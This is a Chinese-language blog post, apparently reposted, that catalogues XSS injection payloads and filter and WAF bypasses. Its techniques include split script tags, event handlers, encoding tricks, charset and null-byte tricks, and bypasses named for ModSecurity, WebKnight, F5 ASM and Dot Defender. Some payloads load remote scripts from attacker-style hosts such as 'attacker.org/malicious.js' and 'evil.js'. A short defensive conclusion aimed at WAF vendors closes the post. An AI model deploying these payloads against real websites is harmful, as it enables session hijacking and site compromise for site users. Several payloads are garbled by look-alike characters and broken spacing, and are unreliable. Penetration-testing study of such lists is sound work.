XSS插入绕过一些方式总结
0x00前言
? ? ? ? ?我們友情進行XSS檢查,偶然跳出個小彈窗,其中我們總結了一些平時可能用到的XSS插入方式,方便我們以后進行快速檢查,也提供了一定的思路,其中XSS有反射、存儲、DOM這三類,至于具體每個類別的異同之處,本文不做學術介紹,直接介紹實際的插入方式。
0x01 常規插入及其繞過
1 Script 標簽
繞過進行一次移除操作:
 <scr<script>ipt>alert("XSS")</scr<script>ipt>
 Script 標簽可以用于定義一個行內的腳本或者從其他地方加載腳本:
 <script>alert("XSS")</script>
 <script src="http://attacker.org/malicious.js"></script>
?
2 ?JavaScript 事件
我們可以像如下這樣在元素中定義 JavaScript 事件:
 <div οnclick="alert('xss')">
 這個 JavaScript 代碼當有人點擊它后就會被執行,同時還有其他事件如頁面加載或移動鼠標都可以觸發這些事件。絕大部分的時間都被過濾器所移除了,但是依舊還有少量事件沒有被過濾,例如,onmouseenter 事件:<div οnmοuseenter="alert('xss')">當用戶鼠標移動到 div 上時就會觸發我們的代碼。
 另一個繞過的辦法就是在屬性和= 之間插入一個空格:
 <div onclick ="alert('xss')">
?
?
3 行內樣式(Inline style)
我們同樣可以在行內樣式里利用 IE 瀏覽器支持的動態特性:
 <div style="color: expression(alert('XSS'))">
 過濾器會檢查關鍵字 style,隨后跟隨的不能是 <,在隨后是 expression:
 /style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis
 所以,讓我們需要把 < 放到其他地方:
 <div style="color: '<'; color: expression(alert('XSS'))">
?
?
4 CSS import
IE 瀏覽器支持在 CSS 中擴展 JavaScript,這種技術稱為動態特性(dynamic properties)。允許攻擊者加載一個外部 CSS 樣式表是相當危險的,因為攻擊者現在可以在原始頁面中執行 JavaScript 代碼了。
 <style>
 @import url("http://attacker.org/malicious.css");
 </style>
 malicious.css:
 body {
 ? ? color: expression(alert('XSS'));
 }
 為了繞過對 @import 的過濾,可以在 CSS 中使用反斜杠進行繞過:
 <style>
 @imp\ort url("http://attacker.org/malicious.css");
 </style>
 IE 瀏覽器會接受反斜杠,但是我們繞過了過濾器。
?
?
5 Javascript URL
鏈接標簽里可以通過在 URL 中使用 javascript:… 來執行 JavaScript:
 <a href="javascript:alert('test')">link</a>
 上面的過濾會從代碼中移除 javascript:,所以我們不能直接這么寫代碼。但我們可以嘗試改變 javascript:的寫法,使它依舊可以被瀏覽器執行但又不匹配正則表達式。首先來嘗試下 URL 編碼:
 <a href="javascript:alert('xss')">link</a>
 上面這段代碼不匹配正則表達式,但是瀏覽器依舊會執行它,因為瀏覽器會首先進行 URL 解碼操作。
 另外,我們還可以使用 VBScript,雖然它在 IE11 中被禁用了,但依舊可以運行在舊版本的 IE 或者啟用兼容模式的 IE11 上。我們可以使用類似上面 JavaScript 的方式來插入 VBScript 代碼:
 <a href='vbscript:MsgBox("XSS")'>link</a>
 '-confirm`1`-'
?
?
'-confirm(1)-'
?
1 利用字符編碼
%c1;alert(/xss/);//
2 繞過長度限制
?
"οnclick=alert(1)//
 "><!--
 --><script>alert(xss);<script>
?
3 使用<base>標簽
<script>alert(navigator.userAgent)<script>
 <script>alert(88199)</script>
 <script>confirm(88199)</script>
 <script>prompt(88199)</script>
 <script>\u0061\u006C\u0065\u0072\u0074(88199)</script>
 <script>+alert(88199)</script>
 <script>alert(/88199/)</script>
 <script src=data:text/javascript,alert(88199)></script>
 <script src=data:text/javascript,alert(88199)></script>
 <script>alert(String.fromCharCode(49,49))</script>
 <script>alert(/88199/.source)</script>
 <script>setTimeout(alert(88199),0)</script>
 <script>document['write'](88199);</script>
 <anytag οnmοuseοver=alert(15)>M
 <anytag οnclick=alert(16)>M
 <a οnmοuseοver=alert(17)>M
 <a οnclick=alert(18)>M
 <a href=javascript:alert(19)>M
 <button/οnclick=alert(20)>M
 <form><button
 formaction=javascript:alert(21)>M
 <form/action=javascript:alert(22)><input/type=submit>
 <form οnsubmit=alert(23)><button>M
 <form οnsubmit=alert(23)><button>M
 <img src=x οnerrοr=alert(24)> 29
 <body/οnlοad=alert(25)>
 <body
 οnscrοll=alert(26)><br><br><br><br><br><br><br>
 <br><br><br><br><br><br><br><br><br><br><br>
 <br><br><br><br><br><br><br><br><br><br><br>
 <br><br><br><br><br><br><br><br><br><br><br>
 <input autofocus>
 <iframe src="http://0x.lv/xss.swf"></iframe>
 <iframe/οnlοad=alert(document.domain)></iframe>
 <IFRAME SRC="javascript:alert(29);"></IFRAME>
 <meta http-equiv="refresh" content="0;
 url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2830%29%3C%2%73%63%72%69%70%74%3E">
 <object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
 <object data="javascript:alert(document.domain)">
 <marquee onstart=alert(30)></marquee>
 <isindex type=image src=1 οnerrοr=alert(31)>
 <isindex action=javascript:alert(32) type=image>
 <input οnfοcus=alert(33) autofocus>
 <input οnblur=alert(34) autofocus><input autofocus>
?
0x03 規則探測及繞過
?
1?WAF規則探測
?
1、使用無害的payload,類似<b>,<i>,<u>觀察響應,判斷應用程序是否被HTML編碼,是否標簽被過濾,是否過濾<>等等;
 2、如果過濾閉合標簽,嘗試無閉合標簽的payload(<b,<i,<marquee)觀察響應;
 3、嘗試以下的payload
 <script>alert(1);</script>
 <script>prompt(1);</script>
 <script>confirm ? ? ?(1);</script>
?
<script src="http://rhainfosec.com/evil.js">
2 大小寫混合字符
<scRiPt>alert(1);</scrIPt>
 1、如果大小寫不行的話,<script>被過濾嘗試<scr<script>ipt>alert(1)</scr<script>ipt>;
 2、使用<a>標簽測試
 <a ?href=“http://www.google.com">Clickme</a>
 <a被過濾?
 href被過濾?
 其他內容被過濾?
 如果沒有過濾嘗試使用
 <a href=”javascript:alert(1)”>Clickme</a>
 嘗試使用錯誤的事件查看過濾
 <a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
 HTML5擁有150個事件處理函數,可以多嘗試其他函數
 <body/οnhashchange=alert(1)><a href=#>clickit
?
3 測試其他標簽
src屬性
 <img src=x ? ? ?οnerrοr=prompt(1);>
 <img/src=aaa.jpg ? ? ?οnerrοr=prompt(1);
 <video src=x ? ? ?οnerrοr=prompt(1);>
 <audio src=x ? ? ?οnerrοr=prompt(1);>
iframe
 <iframesrc="javascript:alert(2)">
 <iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
Embed
 <embed/src=//goo.gl/nlX0P>
Action
 <form action="Javascript:alert(1)"><input type=submit>
 <isindex action="javascript:alert(1)" type=image>
 <isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
 <isindex action=data:text/html, type=image>
mario驗證
 <span class="pln"> ? ?</span><span class="tag"><formaction</span><span class="pun">=</span><span class="atv">&#039;data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt&#039;</span><span class="tag">><button></span><span class="pln">CLICK</span>
“formaction”屬性
 <isindexformaction="javascript:alert(1)" ? ? ?type=image>
 <input type="image" formaction=JaVaScript:alert(0)>
 ?<form><button formaction=javascript:alert(1)>CLICKME
“background”屬性
 <table background=javascript:alert(1)></table> // Works on Opera 10.5 ? ? ?and IE6
“posters” 屬性
 <video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
“data”屬性
 <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
 <object/data=//goo.gl/nlX0P?
“code”屬性
 <applet code="javascript:confirm(document.cookie);"> // Firefox Only
 <embed ?code="http://businessinfo.co.uk/labs/xss/xss.swf" ? ? ?allowscriptaccess=always>
事件處理
 <svg/οnlοad=prompt(1);>
 <marquee/onstart=confirm(2)>/
 <body οnlοad=prompt(1);>
 <select autofocus οnfοcus=alert(1)>
 <textarea autofocus οnfοcus=alert(1)>
 <keygen autofocus οnfοcus=alert(1)>
 <video><source οnerrοr="javascript:alert(1)">
短payload
 <q/oncut=open()>
 <q/oncut=alert(1)> // ? ? ?Useful in-case of payload restrictions.
嵌套欺騙
 <marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
 <body ?language=vbsοnlοad=alert-1 // Works with IE8
 <command οnmοuseοver="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6 ? ?9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> ? ? ?// Works with IE8
圓括號被過濾
 <a οnmοuseοver="javascript:window.οnerrοr=alert;throw 1>
 <img src=x οnerrοr="javascript:window.οnerrοr=alert;throw 1">
 <body/οnlοad=javascript:window.οnerrοr=eval;throw'=alert\x281\x29';
Expression 屬性
 <img style="xss:expression(alert(0))"> // Works upto IE7.
 <div style="color:rgb(''x:expression(alert(1))"></div> ? ? ?// Works upto IE7.
 <style>#test{x:expression(alert(/XSS/))}</style> ? ? ?// Works upto IE7
“location”屬性
 <a οnmοuseοver=location=’javascript:alert(1)>click
 <body οnfοcus="location='javascrpt:alert(1) >123
其他Payload
 <meta http-equiv="refresh" ? ? ?content="0;url=//goo.gl/nlX0P">
 <meta http-equiv="refresh" ? ? ?content="0;javascript:alert(1)"/>
 <svg xmlns="http://www.w3.org/2000/svg"><g ? ? ?οnlοad="javascript:\u0061lert(1);"></g></svg> // ? ? ?By @secalert
 <svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href" ? ? ?values=";javascript:alert(1)" begin="0s" ? ? ?dur="0.1s" fill="freeze"/> // By Mario
 <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xοnerrοr=alert(2)//"</svg> ? ? ?// By @secalert
 <meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/>
 <math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed
();:被過濾
 <svg><script>alert(/1/)</script> ? ? ?// Works With All Browsers
 ( is html encoded to (
 ?) is html encoded to )
Opera的變量
 <svg><script>alert( ? ? ?1) // Works with Opera Only
實體解碼
 </script><script>alert(1)</script>
 <a ?href="j&#x26#x41;vascript:alert%252831337%2529">Hello</a>
編碼
 JavaScript是很靈活的語言,可以使用十六進制、Unicode、HTML等進行編碼,以下屬性可以被編碼
 (支持HTML, Octal, Decimal,Hexadecimal, and Unicode)
 href=
 action=
 formaction=
 location=
 on*=
 name=
 background=
 poster=
 src=
 code=
 data= //只支持base64
?
?
4 基于上下文的過濾
WAF最大的問題是不能理解內容,使用黑名單可以阻擋獨立的js腳本,但仍不能對xss提供足夠的保護,如果一個反射型的XSS是下面這種形式
?
?
1 輸入反射屬性
<input value="XSStest" type=text>
 我們可以使用 “><imgsrc=x ?οnerrοr=prompt(0);>觸發,但是如果<>被過濾,我們仍然可以使用“ autofocusοnfοcus=alert(1)//觸發,基本是使用“ 關閉value屬性,再加入我們的執行腳本
 " οnmοuseοver="prompt(0) x="
 " οnfοcusin=alert(1) ? ? autofocus x="
 " οnfοcusοut=alert(1) ? ? autofocus x="
 " οnblur=alert(1) autofocus ? ? a="
 輸入反射在<script>標簽內
 類似這種情況:
 <script>
 Var
 x=”Input”;
 </script>
 通常,我們使用“></script>,閉合前面的</script>標簽,然而在這種情況,我們也可以直接輸入執行腳本alert(), prompt()
 confirm() ,例如:
 “;alert(1)//
?
?
2 非常規事件監聽
DOMfocusin,DOMfocusout,等事件,這些需要特定的事件監聽適當的執行。例如:
 ";document.body.addEventListener("DOMActivate",alert(1))//
 ";document.body.addEventListener("DOMActivate",prompt(1))//
 ";document.body.addEventListener("DOMActivate",confirm(1))//
 此類事件的列表
 DOMAttrModified
 DOMCharacterDataModified
 DOMFocusIn
 DOMFocusOut
 DOMMouseScroll
 DOMNodeInserted
 DOMNodeInsertedIntoDocument
 DOMNodeRemoved
 DOMNodeRemovedFromDocument
 DOMSubtreeModified
?
?
3 超文本內容
代碼中的情況如下
 <a
 href=”Userinput”>Click</a>
 可以使用javascript:alert(1)//直接執行<a
 href=”javascript:alert(1)//”>Click</a>
?
?
4 變形
主要包含大小寫和JavaScript變形
 javascript:alert(1)
 javaSCRIPT:alert(1)
 JaVaScRipT:alert(1)
 javas	cript:\u0061lert(1);
 javascript:\u0061lert(1)
 avascript:alert(document.cookie) ? ? ?// AsharJaved
 IE10以下和URI中可以使用VBScript
 vbscript:alert(1);
 vbscript:alert(1);
 vbscr	ipt:alert(1)"
 Data URl
 data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
?
?
5 JSON內容
反射輸入
 encodeURIComponent('userinput')
 可以使用
 -alert(1)-
 -prompt(1)-
 -confirm(1)-
 結果
 encodeURIComponent(''-alert(1)-'')
 encodeURIComponent(''-prompt(1)-'')
?
?
6 輸入反射在svg標簽內
源碼如下:
 <svg><script>varmyvar=”YourInput”;</script></svg>
 可以輸入
 www.site.com/test.php?var=text”;alert(1)//
 如果系統編碼了”字符
 <svg><script>varmyvar="text";alert(1)//";</script></svg>
 原因是引入了附加的(XML)到HTML內容里,可以使用2次編碼處理
 瀏覽器BUG
?
?
7 字符集BUG
字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集編碼,我們可以繞過99% 的WAF過濾。
 示例
 http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
 可以控制編碼,提交
 http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img
 src=x οnerrοr=prompt(0);>
 可以修改為UTF-32編碼形式
 ???script?alert(1)?/script?
 http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
?
?
8 空字節
最長用來繞過mod_security防火墻,形式如下:
 <scri%00pt>alert(1);</scri%00pt>
 <scri\x00pt>alert(1);</scri%00pt>
 <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
 空字節只適用于PHP 5.3.8以上的版本
?
?
9 語法BUG
RFC聲明中節點名稱不能是空格,以下的形式在javascript中不能運行
 <script>alert(1);</script>
 <%0ascript>alert(1);</script>
 <%0bscript>alert(1);</script>
 <%, <//, <!,<?可以被解析成<,所以可以使用以下的payload
 <// ? ? style=x:expression\28write(1)\29> // Works upto IE7 參考http://html5sec.org/#71
 <!--[if]><script>alert(1)</script ? ? --> // Works upto IE9 參考http://html5sec.org/#115
 <?xml-stylesheet ? ? type="text/css"?><root ? ? style="x:expression(write(1))"/> // Works in IE7 參考 http://html5sec.org/#77
 <%div%20style=xss:expression(prompt(1))> ? ? // Works Upto IE7
?
?
10 Unicode分隔符
[on\w+\s*]這個規則過濾了所有on事件,為了驗證每個瀏覽器中有效的分隔符,可以使用fuzzing方法測試0×00到0xff,結果如下:
 IExplorer= ? ? [0x09,0x0B,0x0C,0x20,0x3B]
 Chrome = ? ? [0x09,0x20,0x28,0x2C,0x3B]
 Safari = [0x2C,0x3B]
 FireFox= ? ? [0x09,0x20,0x28,0x2C,0x3B]
 Opera = [0x09,0x20,0x2C,0x3B]
 Android = ? ? [0x09,0x20,0x28,0x2C,0x3B]
 x0b在Mod_security中已經被過濾,繞過的方法:
 <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
?
?
11 缺少X-frame選項
通常會認為X-frame是用來防護點擊劫持的配置,其實也可以防護使用iframe引用的xss漏洞
 Docmodes
 IE引入了doc-mode很長時間,提供給老版本瀏覽器的后端兼容性,有風險,攻擊情景是黑客可以引用你站點的框架,他可以引入doc-mode執行css表達式
 expression(open(alert(1)))
 以下POC可以插入到IE7中
 <html>
 ? ? <body>
 ? ? <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
 ? ? <iframesrc="https://targetwebsite.com">
 ? ? </body>
 ? ? </html>
?
?
12 Window.name欺騙
情景:我們用iframe加載一個頁面,我們可以控制窗口的名稱,這里也可以執行javascript代碼
 POC
 <iframesrc='http://www.target.com?foo="xss ?autofocus/AAAAA ?οnfοcus=location=window.name//'
 name="javascript:alert("XSS")"></iframe>
 DOM型XSS
 服務器不支持過濾DOM型的XSS,因為DOM型XSS總是在客戶端執行,看一個例子:
 <script>
 ? ? vari=location.hash;
 ? ? document.write(i);
 ? ? </script>
 在一些情況下,反射型XSS可以轉換成DOM型XSS:
 http://www.target.com/xss.php?foo=<svg/οnlοad=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
 上面的POC只在[.+都被允許的情況下適用,可以使用location.hash注入任何不允許的編碼
 Location.hash[1] = : ?// Defined at the first position after ? ? the hash.
 Location.hash[2]= ( ?// Defined at the second position after ? ? the has
 Location.hash[3] = ) // Defined ? ? at third position after the hash.
 如果有客戶端過濾可能不適用
?
?
13 ModSecurity繞過
<scri%00pt>confirm(0);</scri%00pt>
 <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
 參考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
?
?
?
5 WEB KNIGHT繞過
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
 <marquee/onstart=confirm(2)>
 F5 BIG IP ASM and Palo ALTO繞過
 <table background="javascript:alert(1)"></table> //IE6或者低版本Opera
 ? ? “/><marquee ?onfinish=confirm(123)>a</marquee>
 Dot Defender繞過
 <svg/οnlοad=prompt(1);>?
 <isindex action="javas&tab;cript:alert(1)" type=image>
?
?
?
<marquee/onstart=confirm(2)>
?
0x04結論
?
黑名單方式永遠不是最好的解決辦法,但是相對與白名單效率很高,對于WAF供應商來說,最好的實踐如下:
 1、開發者和管理員要注意WAF只能緩解攻擊,并且針對已知的弱點的防護只是和源代碼修復的方法打個時間差;
 2、要保持WAF的規則庫更新;
 3、WAF可以配置參數限制,需要提供手冊用于配置參數content-length最大最小長度,content-type類型,在入侵時進行告警;
?
4、如果WAF依據黑名單,要確保可以阻斷已知的瀏覽器BUG,并且相應規則庫要及時更新。
?
歡迎大家分享更好的思路,熱切期待^^_^^ !!!
總結
以上是生活随笔為你收集整理的XSS插入绕过一些方式总结的全部內容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: PC端自适应-rem
- 下一篇: python处理视频图像_图像/视频处理
